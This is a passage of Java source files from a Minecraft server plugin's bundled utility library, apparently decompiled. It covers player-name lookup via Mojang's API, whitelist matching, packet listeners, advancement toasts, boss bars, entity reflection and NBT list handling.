PROFILE_URL = "https://sessionserver.mojang.com/session/minecraft/profile/"; 13 | private final Gson gson = new Gson(); 14 | private final UUID uuid; 15 | 16 | public String call() throws Exception { 17 | HttpURLConnection connection = (HttpURLConnection)(new URL("https://sessionserver.mojang.com/session/minecraft/profile/" + this.uuid.toString().replace("-", ""))).openConnection(); 18 | JsonObject response = (JsonObject)this.gson.fromJson(new InputStreamReader(connection.getInputStream()), JsonObject.class); 19 | String name = response.get("name").getAsString(); 20 | if (name == null) { 21 | return ""; 22 | } else { 23 | String cause = response.get("cause").getAsString(); 24 | String errorMessage = response.get("errorMessage").getAsString(); 25 | if (cause != null && cause.length() > 0) { 26 | throw new IllegalStateException(errorMessage); 27 | } else { 28 | return name; 29 | } 30 | } 31 | } 32 | 33 | public UUIDToNameConverter(UUID uuid) { 34 | this.uuid = uuid; 35 | } 36 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/Whiteblacklist.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Collection; 5 | import java.util.HashSet; 6 | import java.util.List; 7 | import java.util.Set; 8 | import lombok.NonNull; 9 | import me.ego.ezbd.lib.fo.Valid; 10 | 11 | public final class Whiteblacklist { 12 | private final Set items; 13 | private final boolean whitelist; 14 | private final boolean entireList; 15 | 16 | public Whiteblacklist(@NonNull List items) { 17 | if (items == null) { 18 | throw new NullPointerException("items is marked non-null but is null"); 19 | } else { 20 | if (!items.isEmpty()) { 21 | String firstLine = (String)items.get(0); 22 | this.entireList = firstLine.equals("*"); 23 | this.whitelist = !firstLine.equals("@blacklist") && !this.entireList; 24 | List newItems = new ArrayList(items); 25 | if (this.entireList || firstLine.equals("@blacklist")) { 26 | newItems.remove(0); 27 | } 28 | 29 | this.items = new HashSet((Collection)(this.whitelist ? items : newItems)); 30 | } else { 31 | this.items = new HashSet(); 32 | this.whitelist = true; 33 | this.entireList = false; 34 | } 35 | 36 | } 37 | } 38 | 39 | public boolean isInList(String item) { 40 | if (this.entireList) { 41 | return true; 42 | } else { 43 | boolean match = Valid.isInList(item, this.items); 44 | return this.whitelist ? match : !match; 45 | } 46 | } 47 | 48 | public boolean isInListRegex(String item) { 49 | if (this.entireList) { 50 | return true; 51 | } else { 52 | boolean match = Valid.isInListRegex(item, this.items); 53 | return this.whitelist ? match : !match; 54 | } 55 | } 56 | 57 | /** @deprecated */ 58 | @Deprecated 59 | public boolean isInListContains(String item) { 60 | if (this.entireList) { 61 | return true; 62 | } else { 63 | boolean match = Valid.isInListContains(item, this.items); 64 | return this.whitelist ? match : !match; 65 | } 66 | } 67 | 68 | public boolean isInListStartsWith(String item) { 69 | if (this.entireList) { 70 | return true; 71 | } else { 72 | boolean match = Valid.isInListStartsWith(item, this.items); 73 | return this.whitelist ? match : !match; 74 | } 75 | } 76 | 77 | public String toString() { 78 | return "{" + (this.entireList ? "entire list" : (this.whitelist ? "whitelist" : "blacklist")) + " " + this.items + "}"; 79 | } 80 | 81 | public Set getItems() { 82 | return this.items; 83 | } 84 | 85 | public boolean isWhitelist() { 86 | return this.whitelist; 87 | } 88 | 89 | public boolean isEntireList() { 90 | return this.entireList; 91 | } 92 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/WorldEditHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | class WorldEditHook { 4 | public final boolean legacy; 5 | 6 | public WorldEditHook() { 7 | boolean ok = false; 8 | 9 | try { 10 | Class.forName("com.sk89q.worldedit.world.World"); 11 | ok = true; 12 | } catch (ClassNotFoundException var3) { 13 | } 14 | 15 | this.legacy = !ok; 16 | } 17 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/plugin/FoundationPacketListener.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.plugin; 2 | 3 | import com.comphenix.protocol.PacketType; 4 | import com.comphenix.protocol.PacketType.Play.Server; 5 | import com.comphenix.protocol.events.PacketAdapter; 6 | import com.comphenix.protocol.events.PacketEvent; 7 | import com.comphenix.protocol.reflect.StructureModifier; 8 | import me.ego.ezbd.lib.fo.model.HookManager; 9 | import me.ego.ezbd.lib.fo.model.SimpleEnchantment; 10 | import me.ego.ezbd.lib.fo.remain.CompMaterial; 11 | import org.bukkit.inventory.ItemStack; 12 | 13 | final class FoundationPacketListener { 14 | FoundationPacketListener() { 15 | } 16 | 17 | static void addPacketListener() { 18 | if (HookManager.isProtocolLibLoaded()) { 19 | HookManager.addPacketListener(new PacketAdapter(SimplePlugin.getInstance(), new PacketType[]{Server.SET_SLOT}) { 20 | public void onPacketSending(PacketEvent event) { 21 | StructureModifier itemModifier = event.getPacket().getItemModifier(); 22 | ItemStack item = (ItemStack)itemModifier.read(0); 23 | if (item != null && !CompMaterial.isAir(item.getType())) { 24 | item = SimpleEnchantment.addEnchantmentLores(item); 25 | if (item != null) { 26 | itemModifier.write(0, item); 27 | } 28 | } 29 | 30 | } 31 | }); 32 | } 33 | 34 | } 35 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/plugin/Reloadables.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.plugin; 2 | 3 | import java.util.Iterator; 4 | import java.util.List; 5 | import me.ego.ezbd.lib.fo.Common; 6 | import me.ego.ezbd.lib.fo.collection.StrictList; 7 | import me.ego.ezbd.lib.fo.command.SimpleCommandGroup; 8 | import me.ego.ezbd.lib.fo.event.SimpleListener; 9 | import org.bukkit.event.Event; 10 | import org.bukkit.event.HandlerList; 11 | import org.bukkit.event.Listener; 12 | 13 | final class Reloadables { 14 | private final StrictList listeners = new StrictList(); 15 | private final StrictList commandGroups = new StrictList(); 16 | 17 | Reloadables() { 18 | } 19 | 20 | void reload() { 21 | Iterator var1 = this.listeners.iterator(); 22 | 23 | while(var1.hasNext()) { 24 | Listener listener = (Listener)var1.next(); 25 | HandlerList.unregisterAll(listener); 26 | } 27 | 28 | this.listeners.clear(); 29 | var1 = this.commandGroups.iterator(); 30 | 31 | while(var1.hasNext()) { 32 | SimpleCommandGroup commandGroup = (SimpleCommandGroup)var1.next(); 33 | commandGroup.unregister(); 34 | } 35 | 36 | this.commandGroups.clear(); 37 | } 38 | 39 | void registerEvents(Listener listener) { 40 | Common.registerEvents(listener); 41 | this.listeners.add(listener); 42 | } 43 | 44 | void registerEvents(SimpleListener listener) { 45 | listener.register(); 46 | this.listeners.add(listener); 47 | } 48 | 49 | void registerCommands(String label, List aliases, SimpleCommandGroup group) { 50 | group.register(label, aliases); 51 | this.commandGroups.add(group); 52 | } 53 | 54 | void registerCommands(StrictList labelAndAliases, SimpleCommandGroup group) { 55 | group.register(labelAndAliases); 56 | this.commandGroups.add(group); 57 | } 58 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/AdvancementAccessor.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | import com.google.gson.Gson; 4 | import com.google.gson.JsonObject; 5 | import java.util.UUID; 6 | import me.ego.ezbd.lib.fo.Common; 7 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 8 | import org.bukkit.Bukkit; 9 | import org.bukkit.NamespacedKey; 10 | import org.bukkit.advancement.Advancement; 11 | import org.bukkit.advancement.AdvancementProgress; 12 | import org.bukkit.entity.Player; 13 | 14 | class AdvancementAccessor { 15 | private final NamespacedKey key = new NamespacedKey(SimplePlugin.getInstance(), UUID.randomUUID().toString()); 16 | private final String icon; 17 | private final String message; 18 | 19 | AdvancementAccessor(String message, String icon) { 20 | this.message = message; 21 | this.icon = icon; 22 | } 23 | 24 | public void show(Player player) { 25 | this.loadAdvancement(); 26 | this.grantAdvancement(player); 27 | Common.runLater(10, () -> { 28 | this.revokeAdvancement(player); 29 | this.removeAdvancement(); 30 | }); 31 | } 32 | 33 | private void loadAdvancement() { 34 | Bukkit.getUnsafe().loadAdvancement(this.key, this.compileJson0()); 35 | } 36 | 37 | private String compileJson0() { 38 | JsonObject json = new JsonObject(); 39 | JsonObject icon = new JsonObject(); 40 | icon.addProperty("item", this.icon); 41 | JsonObject display = new JsonObject(); 42 | display.add("icon", icon); 43 | display.addProperty("title", this.message); 44 | display.addProperty("description", ""); 45 | display.addProperty("background", "minecraft:textures/gui/advancements/backgrounds/adventure.png"); 46 | display.addProperty("frame", "goal"); 47 | display.addProperty("announce_to_chat", false); 48 | display.addProperty("show_toast", true); 49 | display.addProperty("hidden", true); 50 | JsonObject criteria = new JsonObject(); 51 | JsonObject trigger = new JsonObject(); 52 | trigger.addProperty("trigger", "minecraft:impossible"); 53 | criteria.add("impossible", trigger); 54 | json.add("criteria", criteria); 55 | json.add("display", display); 56 | return (new Gson()).toJson(json); 57 | } 58 | 59 | private void grantAdvancement(Player plazer) { 60 | Advancement adv = this.getAdvancement(); 61 | AdvancementProgress progress = plazer.getAdvancementProgress(adv); 62 | if (!progress.isDone()) { 63 | progress.getRemainingCriteria().forEach((crit) -> { 64 | progress.awardCriteria(crit); 65 | }); 66 | } 67 | 68 | } 69 | 70 | private void revokeAdvancement(Player plazer) { 71 | Advancement adv = this.getAdvancement(); 72 | AdvancementProgress prog = plazer.getAdvancementProgress(adv); 73 | if (prog.isDone()) { 74 | prog.getAwardedCriteria().forEach((crit) -> { 75 | prog.revokeCriteria(crit); 76 | }); 77 | } 78 | 79 | } 80 | 81 | private void removeAdvancement() { 82 | Bukkit.getUnsafe().removeAdvancement(this.key); 83 | } 84 | 85 | private Advancement getAdvancement() { 86 | return Bukkit.getAdvancement(this.key); 87 | } 88 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/BungeeChatProvider.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | import me.ego.ezbd.lib.fo.Common; 4 | import me.ego.ezbd.lib.fo.MinecraftVersion; 5 | import me.ego.ezbd.lib.fo.ReflectionUtil; 6 | import me.ego.ezbd.lib.fo.Valid; 7 | import me.ego.ezbd.lib.fo.MinecraftVersion.V; 8 | import net.md_5.bungee.api.chat.BaseComponent; 9 | import net.md_5.bungee.api.chat.TextComponent; 10 | import org.bukkit.Bukkit; 11 | import org.bukkit.command.CommandSender; 12 | import org.bukkit.entity.Player; 13 | 14 | class BungeeChatProvider { 15 | BungeeChatProvider() { 16 | } 17 | 18 | static void sendComponent(CommandSender sender, Object comps) { 19 | if (comps instanceof TextComponent) { 20 | sendComponent0(sender, (TextComponent)comps); 21 | } else { 22 | sendComponent0(sender, (BaseComponent[])((BaseComponent[])comps)); 23 | } 24 | 25 | } 26 | 27 | private static void sendComponent0(CommandSender sender, BaseComponent... comps) { 28 | StringBuilder plainMessage = new StringBuilder(); 29 | BaseComponent[] var3 = comps; 30 | int var4 = comps.length; 31 | 32 | for(int var5 = 0; var5 < var4; ++var5) { 33 | BaseComponent comp = var3[var5]; 34 | plainMessage.append(comp.toLegacyText().replaceAll("§x", "")); 35 | } 36 | 37 | if (!(sender instanceof Player)) { 38 | tell0(sender, plainMessage.toString()); 39 | } else { 40 | try { 41 | if (MinecraftVersion.equals(V.v1_7)) { 42 | Class chatBaseComponentClass = ReflectionUtil.getNMSClass("IChatBaseComponent"); 43 | Class packetClass = ReflectionUtil.getNMSClass("PacketPlayOutChat"); 44 | Object chatBaseComponent = Remain.toIChatBaseComponent(comps); 45 | Object packet = ReflectionUtil.instantiate(ReflectionUtil.getConstructor(packetClass, new Class[]{chatBaseComponentClass}), new Object[]{chatBaseComponent}); 46 | Remain.sendPacket((Player)sender, packet); 47 | } else { 48 | ((Player)sender).spigot().sendMessage(comps); 49 | } 50 | } catch (Throwable var7) { 51 | if (MinecraftVersion.atLeast(V.v1_7) && !Bukkit.getName().contains("Cauldron")) { 52 | Common.throwError(var7, new String[]{"Failed to send component: " + plainMessage.toString() + " to " + sender.getName()}); 53 | } 54 | 55 | tell0(sender, plainMessage.toString()); 56 | } 57 | 58 | } 59 | } 60 | 61 | private static void tell0(CommandSender sender, String msg) { 62 | Valid.checkNotNull(sender, "Sender cannot be null"); 63 | if (!msg.isEmpty() && !"none".equals(msg)) { 64 | String stripped = msg.startsWith("[JSON]") ? msg.replaceFirst("\\[JSON\\]", "").trim() : msg; 65 | String[] var3 = stripped.split("\n"); 66 | int var4 = var3.length; 67 | 68 | for(int var5 = 0; var5 < var4; ++var5) { 69 | String part = var3[var5]; 70 | sender.sendMessage(part); 71 | } 72 | 73 | } 74 | } 75 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/CompBarColor.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | import me.ego.ezbd.lib.fo.Common; 4 | 5 | public enum CompBarColor { 6 | PINK("PINK"), 7 | BLUE("BLUE"), 8 | RED("RED"), 9 | GREEN("GREEN"), 10 | YELLOW("YELLOW"), 11 | PURPLE("PURPLE"), 12 | WHITE("WHITE"); 13 | 14 | private final String key; 15 | 16 | public static CompBarColor fromKey(String key) { 17 | CompBarColor[] var1 = values(); 18 | int var2 = var1.length; 19 | 20 | for(int var3 = 0; var3 < var2; ++var3) { 21 | CompBarColor mode = var1[var3]; 22 | if (mode.key.equalsIgnoreCase(key)) { 23 | return mode; 24 | } 25 | } 26 | 27 | throw new IllegalArgumentException("No such CompBarColor: " + key + ". Available: " + Common.join(values())); 28 | } 29 | 30 | public String toString() { 31 | return this.key; 32 | } 33 | 34 | private CompBarColor(String key) { 35 | this.key = key; 36 | } 37 | 38 | public String getKey() { 39 | return this.key; 40 | } 41 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/CompBarStyle.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | import me.ego.ezbd.lib.fo.Common; 4 | 5 | public enum CompBarStyle { 6 | SOLID("SOLID", "SOLID"), 7 | SEGMENTED_6("SEGMENTED_6", "SEG6"), 8 | SEGMENTED_10("SEGMENTED_10", "SEG10"), 9 | SEGMENTED_12("SEGMENTED_12", "SEG12"), 10 | SEGMENTED_20("SEGMENTED_20", "SEG20"); 11 | 12 | private final String key; 13 | private final String shortKey; 14 | 15 | public static CompBarStyle fromKey(String key) { 16 | CompBarStyle[] var1 = values(); 17 | int var2 = var1.length; 18 | 19 | for(int var3 = 0; var3 < var2; ++var3) { 20 | CompBarStyle mode = var1[var3]; 21 | if (mode.key.equalsIgnoreCase(key) || mode.shortKey.equalsIgnoreCase(key)) { 22 | return mode; 23 | } 24 | } 25 | 26 | throw new IllegalArgumentException("No such CompBarStyle: " + key + ". Available: " + Common.join(values())); 27 | } 28 | 29 | public String toString() { 30 | return this.key; 31 | } 32 | 33 | private CompBarStyle(String key, String shortKey) { 34 | this.key = key; 35 | this.shortKey = shortKey; 36 | } 37 | 38 | public String getKey() { 39 | return this.key; 40 | } 41 | 42 | public String getShortKey() { 43 | return this.shortKey; 44 | } 45 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/CompDye.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | /** @deprecated */ 4 | public enum CompDye { 5 | private CompDye() { 6 | } 7 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/CompEquipmentSlot.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | /** @deprecated */ 4 | public enum CompEquipmentSlot { 5 | HAND, 6 | OFF_HAND, 7 | FEET, 8 | LEGS, 9 | CHEST, 10 | HEAD; 11 | 12 | private CompEquipmentSlot() { 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/CompItemFlag.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | import org.bukkit.inventory.ItemFlag; 4 | import org.bukkit.inventory.ItemStack; 5 | import org.bukkit.inventory.meta.ItemMeta; 6 | 7 | public enum CompItemFlag { 8 | HIDE_ENCHANTS, 9 | HIDE_ATTRIBUTES, 10 | HIDE_UNBREAKABLE, 11 | HIDE_DESTROYS, 12 | HIDE_PLACED_ON, 13 | HIDE_POTION_EFFECTS; 14 | 15 | private CompItemFlag() { 16 | } 17 | 18 | public final void applyTo(ItemStack item) { 19 | try { 20 | ItemMeta meta = item.getItemMeta(); 21 | ItemFlag bukkitFlag = ItemFlag.valueOf(this.toString()); 22 | meta.addItemFlags(new ItemFlag[]{bukkitFlag}); 23 | item.setItemMeta(meta); 24 | } catch (Throwable var4) { 25 | } 26 | 27 | } 28 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/NmsAccessor.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | import java.lang.reflect.Method; 4 | import me.ego.ezbd.lib.fo.MinecraftVersion; 5 | import me.ego.ezbd.lib.fo.ReflectionUtil; 6 | import me.ego.ezbd.lib.fo.MinecraftVersion.V; 7 | import me.ego.ezbd.lib.fo.exception.FoException; 8 | import org.bukkit.Location; 9 | import org.bukkit.World; 10 | import org.bukkit.event.entity.CreatureSpawnEvent.SpawnReason; 11 | 12 | final class NmsAccessor { 13 | static final Method createEntity; 14 | static final Method getBukkitEntity; 15 | static final Method addEntity; 16 | private static volatile boolean hasEntityConsumer = false; 17 | private static volatile boolean olderThan18; 18 | 19 | NmsAccessor() { 20 | } 21 | 22 | static void call() { 23 | } 24 | 25 | static Object addEntity(World bukkitWorld, Object nmsEntity, SpawnReason reason) throws ReflectiveOperationException { 26 | if (olderThan18) { 27 | addEntity.invoke(Remain.getHandleWorld(bukkitWorld), nmsEntity, reason); 28 | return getBukkitEntity.invoke(nmsEntity); 29 | } else { 30 | return hasEntityConsumer ? addEntity.invoke(bukkitWorld, nmsEntity, reason, null) : addEntity.invoke(bukkitWorld, nmsEntity, reason); 31 | } 32 | } 33 | 34 | static { 35 | try { 36 | Class nmsEntity = ReflectionUtil.getNMSClass("Entity"); 37 | Class ofcWorld = ReflectionUtil.getOBCClass("CraftWorld"); 38 | olderThan18 = MinecraftVersion.olderThan(V.v1_8); 39 | createEntity = MinecraftVersion.newerThan(V.v1_7) ? ofcWorld.getDeclaredMethod("createEntity", Location.class, Class.class) : null; 40 | getBukkitEntity = nmsEntity.getMethod("getBukkitEntity"); 41 | if (MinecraftVersion.newerThan(V.v1_10)) { 42 | hasEntityConsumer = true; 43 | addEntity = ofcWorld.getDeclaredMethod("addEntity", nmsEntity, SpawnReason.class, Class.forName("org.bukkit.util.Consumer")); 44 | } else if (MinecraftVersion.newerThan(V.v1_7)) { 45 | addEntity = ofcWorld.getDeclaredMethod("addEntity", nmsEntity, SpawnReason.class); 46 | } else { 47 | addEntity = ReflectionUtil.getNMSClass("World").getDeclaredMethod("addEntity", nmsEntity, SpawnReason.class); 48 | } 49 | 50 | } catch (ReflectiveOperationException var2) { 51 | throw new FoException(var2, "Error setting up nms entity accessor!"); 52 | } 53 | } 54 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/NmsEntity.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | import me.ego.ezbd.lib.fo.MinecraftVersion; 4 | import me.ego.ezbd.lib.fo.MinecraftVersion.V; 5 | import me.ego.ezbd.lib.fo.exception.FoException; 6 | import org.bukkit.Bukkit; 7 | import org.bukkit.Location; 8 | import org.bukkit.World; 9 | import org.bukkit.entity.Entity; 10 | import org.bukkit.event.entity.CreatureSpawnEvent.SpawnReason; 11 | 12 | public final class NmsEntity { 13 | private final World bukkitWorld; 14 | private final Object nmsEntity; 15 | 16 | public NmsEntity(Class entityClass) { 17 | this(new Location((World)Bukkit.getWorlds().get(0), 0.0D, 0.0D, 0.0D), entityClass); 18 | } 19 | 20 | public NmsEntity(Location location, Class entityClass) { 21 | try { 22 | NmsAccessor.call(); 23 | } catch (Throwable var4) { 24 | throw new FoException(var4, "Failed to setup entity reflection! MC version: " + MinecraftVersion.getCurrent()); 25 | } 26 | 27 | this.bukkitWorld = location.getWorld(); 28 | this.nmsEntity = MinecraftVersion.equals(V.v1_7) ? getHandle(location, entityClass) : this.createEntity(location, entityClass); 29 | } 30 | 31 | private static Object getHandle(Location location, Class entityClass) { 32 | Entity entity = (new Location(location.getWorld(), -1.0D, 0.0D, -1.0D)).getWorld().spawn(location, entityClass); 33 | 34 | try { 35 | return entity.getClass().getMethod("getHandle").invoke(entity); 36 | } catch (ReflectiveOperationException var4) { 37 | throw new Error(var4); 38 | } 39 | } 40 | 41 | private Object createEntity(Location location, Class entityClass) { 42 | try { 43 | return NmsAccessor.createEntity.invoke(this.bukkitWorld, location, entityClass); 44 | } catch (ReflectiveOperationException var4) { 45 | throw new FoException(var4, "Error creating entity " + entityClass + " at " + location); 46 | } 47 | } 48 | 49 | public T addEntity(SpawnReason reason) { 50 | try { 51 | return (Entity)NmsAccessor.addEntity(this.bukkitWorld, this.nmsEntity, reason); 52 | } catch (ReflectiveOperationException var3) { 53 | throw new FoException(var3, "Error creating entity " + this.nmsEntity + " for " + reason); 54 | } 55 | } 56 | 57 | public Entity getBukkitEntity() { 58 | try { 59 | return (Entity)NmsAccessor.getBukkitEntity.invoke(this.nmsEntity); 60 | } catch (ReflectiveOperationException var2) { 61 | throw new FoException(var2, "Error getting bukkit entity from " + this.nmsEntity); 62 | } 63 | } 64 | 65 | public Object getNmsEntity() { 66 | return this.nmsEntity; 67 | } 68 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/PotionSetter.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | import org.bukkit.enchantments.Enchantment; 4 | import org.bukkit.inventory.ItemStack; 5 | import org.bukkit.inventory.meta.PotionMeta; 6 | import org.bukkit.potion.PotionData; 7 | import org.bukkit.potion.PotionEffect; 8 | import org.bukkit.potion.PotionEffectType; 9 | import org.bukkit.potion.PotionType; 10 | 11 | class PotionSetter { 12 | PotionSetter() { 13 | } 14 | 15 | public static void setPotion(ItemStack item, PotionEffectType type, int level) { 16 | PotionType wrapped = PotionType.getByEffect(type); 17 | PotionMeta meta = (PotionMeta)item.getItemMeta(); 18 | 19 | try { 20 | PotionData data = new PotionData(level > 0 && wrapped != null ? wrapped : PotionType.WATER); 21 | if (level > 0 && wrapped == null) { 22 | meta.addEnchant(Enchantment.DURABILITY, 1, true); 23 | } 24 | 25 | meta.setBasePotionData(data); 26 | } catch (NoClassDefFoundError | NoSuchMethodError var6) { 27 | meta.setMainEffect(type); 28 | meta.addCustomEffect(new PotionEffect(type, 2147483647, level - 1), true); 29 | } 30 | 31 | item.setItemMeta(meta); 32 | } 33 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/SneakyThrow.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | class SneakyThrow { 4 | SneakyThrow() { 5 | } 6 | 7 | public static void sneaky(Throwable t) { 8 | throw (RuntimeException)superSneaky(t); 9 | } 10 | 11 | private static T superSneaky(Throwable t) throws T { 12 | throw t; 13 | } 14 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/SoftMaterials.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain; 2 | 3 | import com.google.common.collect.Sets; 4 | import me.ego.ezbd.lib.fo.collection.StrictSet; 5 | 6 | /** @deprecated */ 7 | @Deprecated 8 | class SoftMaterials { 9 | static final StrictSet MATERIALS = new StrictSet(Sets.newHashSet(new String[]{"SKULL", "ANVIL", "TRAPPED_CHEST", "GOLD_PLATE", "IRON_PLATE", "REDSTONE_COMPARATOR_OFF", "REDSTONE_COMPARATOR_ON", "DAYLIGHT_DETECTOR", "REDSTONE_BLOCK", "QUARTZ_ORE", "HOPPER", "QUARTZ_BLOCK", "QUARTZ_STAIRS", "ACTIVATOR_RAIL", "DROPPER", "STAINED_CLAY", "STAINED_GLASS_PANE", "LEAVES_2", "LOG_2", "ACACIA_STAIRS", "DARK_OAK_STAIRS", "SLIME_BLOCK", "BARRIER", "IRON_TRAPDOOR", "PRISMARINE", "SEA_LANTERN", "HAY_BLOCK", "CARPET", "HARD_CLAY", "COAL_BLOCK", "PACKED_ICE", "DOUBLE_PLANT", "STANDING_BANNER", "WALL_BANNER", "DAYLIGHT_DETECTOR_INVERTED", "RED_SANDSTONE", "RED_SANDSTONE_STAIRS", "DOUBLE_STONE_SLAB2", "STONE_SLAB2", "SPRUCE_FENCE_GATE", "BIRCH_FENCE_GATE", "JUNGLE_FENCE_GATE", "DARK_OAK_FENCE_GATE", "ACACIA_FENCE_GATE", "SPRUCE_FENCE", "BIRCH_FENCE", "JUNGLE_FENCE", "DARK_OAK_FENCE", "ACACIA_FENCE", "SPRUCE_DOOR", "BIRCH_DOOR", "JUNGLE_DOOR", "ACACIA_DOOR", "DARK_OAK_DOOR", "END_ROD", "CHORUS_PLANT", "CHORUS_FLOWER", "PURPUR_BLOCK", "PURPUR_PILLAR", "PURPUR_STAIRS", "PURPUR_DOUBLE_SLAB", "PURPUR_SLAB", "END_BRICKS", "GRASS_PATH", "END_GATEWAY", "FROSTED_ICE", "MAGMA", "NETHER_WART_BLOCK", "RED_NETHER_BRICK", "BONE_BLOCK", "OBSERVER", "PURPLE_SHULKER_BOX"})); 10 | 11 | SoftMaterials() { 12 | } 13 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/internal/v1_9Native.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.internal; 2 | 3 | import org.bukkit.Bukkit; 4 | import org.bukkit.Location; 5 | import org.bukkit.boss.BarColor; 6 | import org.bukkit.boss.BarFlag; 7 | import org.bukkit.boss.BarStyle; 8 | import org.bukkit.boss.BossBar; 9 | import org.bukkit.entity.Player; 10 | 11 | class v1_9Native extends EnderDragonEntity { 12 | private final BossBar bar; 13 | 14 | public v1_9Native(String name, Location loc) { 15 | super(name, loc); 16 | this.bar = Bukkit.createBossBar(name, BarColor.PINK, BarStyle.SOLID, new BarFlag[0]); 17 | } 18 | 19 | public final void removePlayer(Player player) { 20 | this.getBar().removePlayer(player); 21 | } 22 | 23 | public final void addPlayer(Player player) { 24 | this.getBar().addPlayer(player); 25 | } 26 | 27 | public final void setProgress(double progress) { 28 | this.getBar().setProgress(progress); 29 | } 30 | 31 | private BossBar getBar() { 32 | if (this.barColor != null) { 33 | this.bar.setColor(BarColor.valueOf(this.barColor.toString())); 34 | } 35 | 36 | if (this.barStyle != null) { 37 | this.bar.setStyle(BarStyle.valueOf(this.barStyle.toString())); 38 | } 39 | 40 | return this.bar; 41 | } 42 | 43 | public Object getSpawnPacket() { 44 | return null; 45 | } 46 | 47 | public Object getDestroyPacket() { 48 | return null; 49 | } 50 | 51 | public Object getMetaPacket(Object watcher) { 52 | return null; 53 | } 54 | 55 | public Object getTeleportPacket(Location loc) { 56 | return null; 57 | } 58 | 59 | public Object getWatcher() { 60 | return null; 61 | } 62 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTCompoundList.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import me.ego.ezbd.lib.fo.exception.FoException; 4 | import org.apache.commons.lang.NotImplementedException; 5 | 6 | public class NBTCompoundList extends NBTList { 7 | protected NBTCompoundList(NBTCompound owner, String name, NBTType type, Object list) { 8 | super(owner, name, type, list); 9 | } 10 | 11 | public NBTListCompound addCompound() { 12 | return (NBTListCompound)this.addCompound((NBTCompound)null); 13 | } 14 | 15 | public NBTCompound addCompound(NBTCompound comp) { 16 | try { 17 | Object compound = WrapperClass.NMS_NBTTAGCOMPOUND.getClazz().newInstance(); 18 | if (WrapperVersion.getVersion().getVersionId() >= WrapperVersion.MC1_14_R1.getVersionId()) { 19 | WrapperReflection.LIST_ADD.run(this.listObject, new Object[]{this.size(), compound}); 20 | } else { 21 | WrapperReflection.LEGACY_LIST_ADD.run(this.listObject, new Object[]{compound}); 22 | } 23 | 24 | this.getParent().saveCompound(); 25 | NBTListCompound listcomp = new NBTListCompound(this, compound); 26 | if (comp != null) { 27 | listcomp.mergeCompound(comp); 28 | } 29 | 30 | return listcomp; 31 | } catch (Exception var4) { 32 | throw new FoException(var4); 33 | } 34 | } 35 | 36 | /** @deprecated */ 37 | @Deprecated 38 | public boolean add(NBTListCompound empty) { 39 | return this.addCompound(empty) != null; 40 | } 41 | 42 | public void add(int index, NBTListCompound element) { 43 | if (element != null) { 44 | throw new NotImplementedException("You need to pass null! ListCompounds from other lists won't work."); 45 | } else { 46 | try { 47 | Object compound = WrapperClass.NMS_NBTTAGCOMPOUND.getClazz().newInstance(); 48 | if (WrapperVersion.getVersion().getVersionId() >= WrapperVersion.MC1_14_R1.getVersionId()) { 49 | WrapperReflection.LIST_ADD.run(this.listObject, new Object[]{index, compound}); 50 | } else { 51 | WrapperReflection.LEGACY_LIST_ADD.run(this.listObject, new Object[]{compound}); 52 | } 53 | 54 | super.getParent().saveCompound(); 55 | } catch (Exception var4) { 56 | throw new FoException(var4); 57 | } 58 | } 59 | } 60 | 61 | public NBTListCompound get(int index) { 62 | try { 63 | Object compound = WrapperReflection.LIST_GET_COMPOUND.run(this.listObject, new Object[]{index}); 64 | return new NBTListCompound(this, compound); 65 | } catch (Exception var3) { 66 | throw new FoException(var3); 67 | } 68 | } 69 | 70 | public NBTListCompound set(int index, NBTListCompound element) { 71 | throw new NotImplementedException("This method doesn't work in the ListCompound context."); 72 | } 73 | 74 | protected Object asTag(NBTListCompound object) { 75 | return null; 76 | } 77 | } -------------------------------------------------------------------------------- 